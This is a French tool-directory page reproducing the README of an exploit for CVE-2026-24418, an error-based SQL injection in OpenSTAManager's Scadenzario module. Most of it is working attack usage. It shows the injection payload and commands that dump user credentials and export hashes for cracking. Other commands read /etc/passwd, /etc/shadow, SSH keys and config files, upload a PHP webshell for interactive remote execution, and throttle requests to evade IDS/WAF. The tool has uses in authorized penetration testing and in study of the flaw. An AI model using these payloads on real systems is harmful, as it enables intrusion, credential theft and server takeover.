Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24418 — OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement). | Kitploit
Outils/GitHubGitHub/bridgeralderson/cve-2026-24418
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingSécurité des Bases de Données

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
bridgeralderson/cve-2026-24418

CVE-2026-24418

OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement).

Voir le dépôt
22il y a 2 moisPas encore vérifié

CVE-2026-24418

OpenSTAManager <= 2.9.8 — Injection SQL basée sur les erreurs dans le module d'opérations en masse Scadenzario

Aperçu

ChampDétails
ID CVECVE-2026-24418
SévéritéÉLEVÉE (8.8)
CWECWE-89: Injection SQL
Versions affectéesOpenSTAManager <= 2.9.8
Paramètre vulnérableid_records[] (tableau POST)
Point d'accès vulnérable/actions.php?id_module=18
Type d'attaqueInjection SQL basée sur les erreurs (EXTRACTVALUE)
AuthentificationRequise (tout compte utilisateur valide)

Détails de la vulnérabilité

OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection SQL basée sur les erreurs dans le gestionnaire d'opérations en masse du module Scadenzario (Échéancier de paiement). L'application ne valide pas que les éléments du tableau id_records[] sont des entiers avant de les utiliser dans une clause SQL IN(), permettant à des attaquants authentifiés d'injecter des commandes SQL arbitraires et d'extraire des données sensibles via les messages d'erreur XPATH.

Cause racine

  1. Point d'entrée — /actions.php reçoit id_records[] via POST
  2. Assainissement insuffisant — array_clean() supprime uniquement les valeurs vides, NE valide PAS les types de données
  3. Point d'injection — /modules/scadenzario/bulk.php passe les valeurs non assainies directement dans une clause SQL IN()
  4. Exfiltration de données — Les messages d'erreur EXTRACTVALUE/UPDATEXML divulguent les résultats de la requête

Fonctionnalités

Installation

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

Utilisation

Authentification

root@kitploit:~
# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p password --info

# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

Reconnaissance

root@kitploit:~
# Informations de la base de données + privilèges + identifiants utilisateur
python3 exploit.py -t http://target.com -u admin -p secret --all

# Vérifier les privilèges MySQL (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs

Extraction d'identifiants

root@kitploit:~
# Extraire les utilisateurs et exporter automatiquement les hashs
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# Fichiers générés :
#   ./loot/users.json          - Données complètes des utilisateurs
#   ./loot/users.csv           - Format CSV
#   ./loot/hashes_hashcat.txt  - Format Hashcat (mode 3200)
#   ./loot/hashes_john.txt     - Format John (utilisateur:hash)

Énumération de la base de données

root@kitploit:~
# Lister toutes les bases de données
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# Lister les tables dans une base de données spécifique
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# Lister les colonnes d'une table
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# Extraire des colonnes spécifiques avec limite de lignes
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

Lecture de fichier (LFI via SQL)

root@kitploit:~
# Lire /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# Lire la configuration de l'application (identifiants de base de données)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# Lire les clés SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# Mode HEX (contourner les filtres de caractères)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

Exécution de code à distance

root@kitploit:~
# Télécharger une webshell (détection automatique de la racine web)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Télécharger une webshell avec une racine web spécifique
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# Session shell interactive
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE télécharge automatiquement la webshell si elle n'existe pas

Sortie et rapports

root@kitploit:~
# Tout sauvegarder dans un répertoire
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# Fichiers générés :
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

Options réseau

root@kitploit:~
# Via le proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# Avec délai entre les requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k

Référence complète des options

root@kitploit:~
Cible :
  -t, --target           URL de base de la cible

Authentification :
  -u, --user             Nom d'utilisateur pour la connexion
  -p, --password         Mot de passe pour la connexion
  -c, --cookie           Valeur PHPSESSID existante

Énumération :
  -D, --database         Nom de la base de données cible
  -T, --table            Nom de la table cible
  -C, --columns-list     Colonnes à extraire (séparées par des virgules)
  --limit                Limite de lignes pour les extractions

Actions :
  --info                 Informations du serveur de base de données
  --users                Extraire les identifiants de zz_users
  --dbs                  Énumérer les bases de données
  --tables               Lister les tables
  --columns              Lister les colonnes (nécessite -T)
  --dump                 Extraire les données (nécessite -T et -C)
  --sql QUERY            Requête SQL personnalisée
  --all                  Exécuter --info + --privs + --users
  --privs                Vérifier les privilèges MySQL

Opérations sur fichiers :
  --file-read PATH       Lire un fichier via LOAD_FILE()
  --file-read-hex PATH   Lire un fichier via encodage HEX

Exécution de code à distance :
  --webshell             Télécharger une webshell PHP
  --webroot PATH         Chemin de la racine web pour le téléchargement de la shell
  --rce                  Exécution de commandes interactive

Sortie :
  -o, --output DIR       Sauvegarder les résultats dans un répertoire

Réseau :
  -m, --module-id        ID du module (par défaut : 18)
  --proxy                URL du proxy HTTP
  -k, --no-ssl-verify    Désactiver la vérification SSL
  --delay                Délai entre les requêtes en secondes

Détails techniques

Structure de la payload

root@kitploit:~
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

Limite de caractères d'EXTRACTVALUE

EXTRACTVALUE() de MySQL retourne au maximum ~32 caractères via les erreurs XPATH. L'outil découpe automatiquement les longs résultats avec SUBSTRING() :

root@kitploit:~
SUBSTRING((<query>), 1, 31)    -- Morceau 1
SUBSTRING((<query>), 32, 31)   -- Morceau 2
...

Mécanisme de téléchargement de webshell

Note technique sur le contexte basé sur les erreurs : Bien que --webshell et --rce soient inclus pour une couverture maximale, MySQL interdit strictement l'utilisation de INTO DUMPFILE dans une sous-requête ou une clause IN() (ce qui est exactement le point d'injection de cette CVE).

Par conséquent, écrire des fichiers directement via cette injection basée sur les erreurs échouera généralement avec une erreur de syntaxe sauf si :

  1. L'environnement cible autorise les requêtes empilées (très rare dans les configurations PHP/PDO modernes).
  2. Vous parvenez à faire pivoter la payload vers une injection UNION.

Si vous confirmez les privilèges FILE via --privs, votre meilleure option est d'utiliser --file-read et --file-read-hex, car LOAD_FILE() fonctionne parfaitement dans les sous-requêtes basées sur les erreurs.

Lorsque le privilège FILE est disponible et que les contraintes le permettent :

root@kitploit:~
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'

Chemin du code vulnérable

root@kitploit:~
POST /actions.php?id_module=18
    └── actions.php (L503-506) ─── reçoit id_records[]
        └── array_clean() ─── supprime uniquement les valeurs vides
            └── bulk.php (L88) ─── construit la clause SQL IN()
                └── Database.php (L289) ─── exécute la requête non assainie
                    └── l'erreur XPATH divulgue les données

Exemple de chaîne d'attaque

root@kitploit:~
1. --privs        → Vérifier le privilège FILE
2. --users        → Extraire les identifiants, exporter les hashs
3. --file-read    → Lire config.inc.php pour les identifiants DB
4. --file-read    → Lire /etc/passwd pour les noms d'utilisateur
5. --webshell     → Télécharger une webshell PHP
6. --rce          → Shell interactive → pivot

Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.

Références

  • CVE-2026-24418 (NVD)
  • Avis de sécurité GitHub — GHSA-4xwv-49c8-fvhq
  • Dépôt OpenSTAManager
  • PoC par Lukasz Rybak
Télécharger l’outil
FonctionnalitéDescription
--infoEmpreinte du serveur de base de données (version, utilisateur, nom d'hôte, OS, chemins)
--privsÉnumération des privilèges MySQL (FILE, SUPER, PROCESS)
--usersExtraction complète des identifiants de zz_users avec export automatique des hashs
--dbsÉnumérer toutes les bases de données accessibles
--tablesLister les tables avec le nombre de lignes
--columnsLister les colonnes avec les types et les informations nullable
--dumpExfiltration de données depuis n'importe quelle table/colonne
--sqlExécution de requêtes SQL personnalisées
--file-readLire des fichiers serveur via LOAD_FILE() (/etc/passwd, fichiers de configuration, clés SSH)
--file-read-hexLecture de fichier encodé en HEX pour contourner les filtres
--webshellTélécharger une webshell PHP via INTO DUMPFILE
--rceExécution de commandes interactive via la webshell téléchargée
-o / --outputSauvegarder tous les résultats aux formats JSON, CSV et hashcat/john
--proxySupport de proxy HTTP (Burp Suite)
--delayLimitation des requêtes pour contourner IDS/WAF